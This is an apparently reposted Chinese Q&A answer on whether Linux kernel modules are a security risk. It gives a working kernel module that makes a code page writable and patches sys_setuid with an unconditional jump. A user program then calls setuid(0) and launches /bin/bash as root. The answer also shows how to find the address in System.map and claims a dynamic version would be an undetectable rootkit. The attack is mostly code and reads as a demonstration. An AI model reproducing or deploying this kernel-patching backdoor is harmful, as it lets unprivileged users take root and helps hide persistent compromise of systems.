linux内核安全模块剖析,Linux内核模块 - 安全风险?

良好的一般水平的答案已经。 如何在示例代码级别查看此问题,更清楚地说明安装模块后Linux的脆弱程度。

我的例子模块:

#include

#include

#include

#include

char *p;

int init_module(void) //0x0ffffffff8107f760 depends on system must be taken from the map

{ pte_t *pte1;

unsigned int dummy_but_needed;

p=(char *)(0xffffffff8107f3a0 +0x4d); // Got from /boot System.map.xx.xx.xx

pte1 = lookup_address((unsigned long long)p, &dummy_but_needed);

pte1->pte |= _PAGE_RW; //Now the code page is writable

*(p) = (char)0xeb; //0xeb is the code of the unconditional jmp- we don't care are we allowed to get rights. Previous was conditional jmp "75".

return -1; // Insmod complains and module disappears from the system but module did it's work already

}

MODULE_LICENSE("GPL");//We don't need cleanup_module

测试程序给用户级终端超级用户权限:

int main()

{

setuid(0);//Or use asm("mov $0,%rdi; mov $105,%rax; syscall;");

system("/bin/bash"); //rax=system call nr and rdi=first parameter

}

这是一个危险的rootkit?不可以。要查找sys_setuid地址,您必须拥有root权限!实际上,每个系统都有不同的地址。

无论如何,这表明操纵是多么简单。事实上,通过动态(运行时)方法来替换使用的常量是非常容易的,这里没有介绍。 (这将是一个rootkit。我试了一下,目前没有rootkit的狩猎程序能够找到它,即使它存在,并采取了每个系统调用。)

我测试了这与内核3.2和AMD64。将无法在其他硬件上工作!

(如何找到所需要的常数:

xxxx:/boot$ sudo grep sys_setuid System.map-3.2.0-31-generic

[sudo] password for xxxx:

ffffffff8107f3a0 T sys_setuid

ffffffff810a23f0 T sys_setuid16

)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值